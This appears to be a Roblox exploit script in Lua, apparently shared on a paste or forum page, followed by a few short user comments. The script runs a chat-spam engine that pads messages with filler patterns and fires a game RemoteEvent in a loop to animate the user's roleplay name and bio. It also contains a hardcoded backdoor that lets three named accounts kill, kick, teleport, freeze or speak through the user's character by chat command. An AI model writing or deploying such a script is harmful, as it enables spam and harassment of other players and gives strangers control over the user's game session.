
KeylessUniversal

-- Configuration and Setup
-- Structure: [Pattern] [Your Text] tmkx ma [Random Word]
local Players = game:GetService("Players")
local LP = Players.LocalPlayer
local Camera = workspace.CurrentCamera
local TCS = game:GetService("TextChatService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RUN = game:GetService("RunService")
-- ADMIN CONFIGURATION
-- These users can control your character/spam engine via game chat commands
local ADMINS = {
["greninjaYT_07"] = true,
["VENUS_EDIT"] = true,
["RIP_LUFFYRBLX1"] = true
}
local spinning = false
local active = false
local waitTime = 1.5
local currentPattern = "@#"
local currentMsg = ""
-- LOCAL RP NAME & BIO SETTINGS
local SETTINGS = {
NAME_TEXT = "JaKeDeV Spammer user",
BIO_TEXT = "Welcome " .. LP.DisplayName,
SPEED = 0.1,
STAY_TIME = 2
}
local Remote = ReplicatedStorage:WaitForChild("RE"):WaitForChild("1RPNam1eTex1t")
-- 1. RGB ANIMATION ENGINE (Roleplay Name & Bio)
local function runAnimation()
local nameLen = #SETTINGS.NAME_TEXT
local bioLen = #SETTINGS.BIO_TEXT
local maxLen = math.max(nameLen, bioLen)
for i = 1, maxLen do
local color = Color3.fromHSV(tick() % 5 / 5, 1, 1)
if i <= nameLen then Remote:FireServer("RolePlayName", SETTINGS.NAME_TEXT:sub(1, i), color) end
if i <= bioLen then Remote:FireServer("RolePlayBio", SETTINGS.BIO_TEXT:sub(1, bioLen - i + 1), color) end
task.wait(SETTINGS.SPEED)
end
task.wait(SETTINGS.STAY_TIME)
for i = maxLen, 0, -1 do
local color = Color3.fromHSV(tick() % 5 / 5, 1, 1)
if i <= nameLen then Remote:FireServer("RolePlayName", SETTINGS.NAME_TEXT:sub(1, i), color) end
if i <= bioLen then Remote:FireServer("RolePlayBio", SETTINGS.BIO_TEXT:sub(1, bioLen - i + 1), color) end
task.wait(SETTINGS.SPEED)
end
end
task.spawn(function()
while true do
runAnimation()
task.wait(0.1)
end
end)
-- 2. SPAM ENGINE (Classic SamDev V5 Texts)
local function send(text, mode)
local finalMsg = ""
local rawWords = {
"JaKeDeV papa⚔️",
"JaKeDeV papa bolde",
"figer",
"Pan",
"idk",
"Cat",
"Tent",
"lun",
"You",
"Ts",
"Meow",
"Cow",
"VwS",
"Eren"
}
if mode == "SPAM" then
local randomWord = rawWords[math.random(1, #rawWords)]
local middle = (text ~= "" and (text .. " ") or "")
local core = middle .. "tmkx ma " .. randomWord
local patternStr = ""
while (#patternStr + #currentPattern) <= (197 - #core) do
patternStr = patternStr .. currentPattern
end
finalMsg = patternStr .. " " .. core
elseif mode == "LOADED" then
local patternStr = ""
while (#patternStr + #currentPattern) <= (197 - #text) do
patternStr = patternStr .. currentPattern
end
finalMsg = patternStr .. " " .. text
else
finalMsg = text
end
-- Safe chat execution for both legacy and new TextChatService systems
pcall(function() TCS.TextChannels.RBXGeneral:SendAsync(finalMsg) end)
pcall(function() ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(finalMsg, "All") end)
end
-- 3. GUI BUILDER (Screen Interface)
local sg = Instance.new("ScreenGui", LP.PlayerGui)
sg.Name = "JAKEDEV_V2_INTERFACE"
sg.ResetOnSpawn = false
local logo = Instance.new("TextButton", sg)
logo.Size = UDim2.new(0, 45, 0, 45)
logo.Position = UDim2.new(0.05, 0, 0.4, 0)
logo.BackgroundColor3 = Color3.fromRGB(15,15,15)
logo.Text = "JAKEDEV"
logo.Font = Enum.Font.GothamBold
logo.TextSize = 10
logo.Draggable = true
logo.TextColor3 = Color3.new(1,1,1)
Instance.new("UICorner", logo).CornerRadius = UDim.new(0.5, 0)
local logoStroke = Instance.new("UIStroke", logo)
logoStroke.Thickness = 2
logoStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
local mainFrame = Instance.new("Frame", sg)
mainFrame.Size = UDim2.new(0, 320, 0, 380)
mainFrame.Position = UDim2.new(0.5, -160, 0.5, -190)
mainFrame.BackgroundColor3 = Color3.fromRGB(15,15,15)
mainFrame.Visible = false
mainFrame.Active = true
mainFrame.Draggable = true
Instance.new("UICorner", mainFrame).CornerRadius = UDim.new(0, 10)
local frameStroke = Instance.new("UIStroke", mainFrame)
frameStroke.Thickness = 2
frameStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
local container = Instance.new("ScrollingFrame", mainFrame)
container.Size = UDim2.new(1, 0, 0.88, 0)
container.Position = UDim2.new(0, 0, 0.12, 0)
container.BackgroundTransparency = 1
container.CanvasSize = UDim2.new(0, 0, 1.3, 0)
container.ScrollBarThickness = 2
local layout = Instance.new("UIListLayout", container)
layout.Padding = UDim.new(0, 10)
layout.HorizontalAlignment = Enum.HorizontalAlignment.Center
-- UI Rainbow Visual Handler & Spin Mechanic
RUN.RenderStepped:Connect(function()
local color = Color3.fromHSV(tick() % 5 / 5, 1, 1)
logoStroke.Color = color
frameStroke.Color = color
logo.TextColor3 = color
if spinning and LP.Character and LP.Character:FindFirstChild("HumanoidRootPart") then
LP.Character.HumanoidRootPart.CFrame *= CFrame.Angles(0, math.rad(25), 0)
end
end)
logo.MouseButton1Click:Connect(function()
mainFrame.Visible = not mainFrame.Visible
end)
-- Pattern Selector Buttons inside GUI
local pScroll = Instance.new("ScrollingFrame", container)
pScroll.Size = UDim2.new(0.9, 0, 0, 35)
pScroll.BackgroundTransparency = 1
pScroll.CanvasSize = UDim2.new(3, 0, 0, 0)
pScroll.ScrollBarThickness = 0
local pList = Instance.new("UIListLayout", pScroll)
pList.FillDirection = Enum.FillDirection.Horizontal
pList.Padding = UDim.new(0, 5)
pList.VerticalAlignment = Enum.VerticalAlignment.Center
local patterns = {"@", "#", "$", "*", "_", "@_", "suda_?", "P_", "J_A_K_E_"}
for _, p in pairs(patterns) do
local b = Instance.new("TextButton", pScroll)
b.Size = UDim2.new(0, 60, 0, 25)
b.Text = p
b.BackgroundColor3 = Color3.fromRGB(30,30,30)
b.TextColor3 = Color3.new(1,1,1)
Instance.new("UICorner", b)
b.MouseButton1Click:Connect(function()
currentPattern = p
send("Pattern switched to: "..p, "LOADED")
end)
end
-- GUI Text Fields
local function createBox(placeholder)
local box = Instance.new("TextBox", container)
box.Size = UDim2.new(0.9, 0, 0, 35)
box.PlaceholderText = placeholder
box.Text = ""
box.BackgroundColor3 = Color3.fromRGB(25,25,25)
box.TextColor3 = Color3.new(1,1,1)
Instance.new("UICorner", box)
return box
end
local customP = createBox("Custom Pattern...")
customP.FocusLost:Connect(function() if customP.Text ~= "" then currentPattern = customP.Text end end)
local msgBox = createBox("Enter Message...")
msgBox.FocusLost:Connect(function() currentMsg = msgBox.Text end)
local dlyBox = createBox("Delay (Default 1.5)")
dlyBox.FocusLost:Connect(function() waitTime = tonumber(dlyBox.Text) or 1.5 end)
-- GUI Action Toggles
local sBtn = Instance.new("TextButton", container)
sBtn.Size = UDim2.new(0.9, 0, 0, 40)
sBtn.Text = "START"
sBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 0)
sBtn.TextColor3 = Color3.new(1,1,1)
sBtn.Font = Enum.Font.GothamBold
Instance.new("UICorner", sBtn)
local stopBtn = Instance.new("TextButton", container)
stopBtn.Size = UDim2.new(0.9, 0, 0, 40)
stopBtn.Text = "STOP"
stopBtn.BackgroundColor3 = Color3.fromRGB(80, 0, 0)
stopBtn.TextColor3 = Color3.new(1,1,1)
stopBtn.Font = Enum.Font.GothamBold
Instance.new("UICorner", stopBtn)
sBtn.MouseButton1Click:Connect(function() active = true sBtn.Text = "RUNNING..." end)
stopBtn.MouseButton1Click:Connect(function() active = false sBtn.Text = "START" end)
-- 4. CHAT COMMAND CONTROLLER
local function processCommand(msg, sender)
local args = msg:split(" ")
local cmd = args[1]:lower()
local char = LP.Character
local hum = char and char:FindFirstChild("Humanoid")
local root = char and char:FindFirstChild("HumanoidRootPart")
if cmd == "!target" and args[2] then currentMsg = args[2]
elseif cmd == "!start" then active = true sBtn.Text = "RUNNING..."
elseif cmd == "!stop" then active = false sBtn.Text = "START"
elseif (cmd == "!delay" or cmd == "!spamspeed") and args[2] then waitTime = tonumber(args[2]) or 1.5
elseif cmd == "!pattern" and args[2] then currentPattern = args[2]
elseif cmd == "!say" then send(msg:sub(6), "CLEAN")
elseif cmd == "!kill" and hum then hum.Health = 0
elseif cmd == "!kick" then LP:Kick("Kicked by Admin: " .. sender.Name)
elseif cmd == "!sit" and hum then hum.Sit = true
elseif cmd == "!speed" and args[2] and hum then hum.WalkSpeed = tonumber(args[2])
elseif cmd == "!jumppower" and args[2] and hum then hum.JumpPower = tonumber(args[2]) hum.UseJumpPower = true
elseif cmd == "!freeze" and hum then hum.WalkSpeed = 0
elseif cmd == "!unfreeze" and hum then hum.WalkSpeed = 16
elseif cmd == "!spin" then spinning = not spinning
elseif cmd == "!goto" and args[2] then
for _, v in pairs(Players:GetPlayers()) do
if v.Name:lower():sub(1, #args[2]) == args[2]:lower() and root then
root.CFrame = v.Character.HumanoidRootPart.CFrame
end
end
elseif cmd == "!view" and args[2] then
for _, v in pairs(Players:GetPlayers()) do
if v.Name:lower():sub(1, #args[2]) == args[2]:lower() then
Camera.CameraSubject = v.Character:FindFirstChild("Humanoid")
end
end
elseif cmd == "!unview" and hum then
Camera.CameraSubject = hum
end
end
local function onChatReceived(player, msg)
if ADMINS[player.Name] then
processCommand(msg, player)
end
end
-- Global Listeners for Admin Chat
Players.PlayerAdded:Connect(function(p) p.Chatted:Connect(function(m) onChatReceived(p, m) end) end)
for _, p in pairs(Players:GetPlayers()) do p.Chatted:Connect(function(m) onChatReceived(p, m) end) end
TCS.MessageReceived:Connect(function(msg)
local p = Players:GetPlayerByUserId(msg.TextSource.UserId)
if p then onChatReceived(p, msg.Text) end
end)
-- 5. SPAM ENGINE TASK LOOP
task.spawn(function()
while true do
if active and currentMsg ~= "" then
send(currentMsg, "SPAM")
task.wait(waitTime)
else
task.wait(0.5)
end
end
end)
send("✨SAMDEV V5 ACTIVATED (SAMDEV V5 TEXT ENGINE)", "LOADED")



holy ai
@VortexDev Did i ask you
@greninjayt007 no and did i ask you?
TF IS THE AI SON